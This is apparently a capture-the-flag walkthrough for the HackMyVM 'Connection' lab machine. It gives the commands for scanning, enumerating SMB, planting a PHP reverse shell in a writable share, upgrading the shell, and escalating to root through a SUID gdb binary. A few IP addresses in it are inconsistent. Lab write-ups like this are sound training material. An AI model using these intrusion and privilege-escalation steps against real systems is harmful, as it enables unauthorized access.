Connection

machine downloaded from https://hackmyvm.eu/

difficulty: Easy

OS: Linux

1. Scan the network

sudo netdiscover -i eth0 -r 192.168.5.0/24

2. Port and service scanning with nmap

sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -vvv 192.168.5.106
-oN report.txt

Services exposed on ports 22, 80, 139, 445

3. With whatweb command we can search info about web server:

whatweb 192.168.1.106

4. We can enumerate samba server

crackmapexec 192.168.5.106
smbmap -H 192.168.5.105

5. We can try to connect to samba and push a file with php-reverse-shell into the shared folder

smbclient //192.168.5.106/share

php-rever-shell code

6. In Kali we listen to port 447 and in the browser we run the index.php file.

7. We can improve the prompt and look for the first flag that is in /home/connection/local.txt

script /dev/null -c bash
ctrl + Z
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm
cd /home/connection/
cat local.txt

8. Search for binary files to exploit

find / -perm -4000 2>/dev/null

9. We can try this with gdb following instructions from https://gtfobins.github.io/gtfobins/gdb/#suid

/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit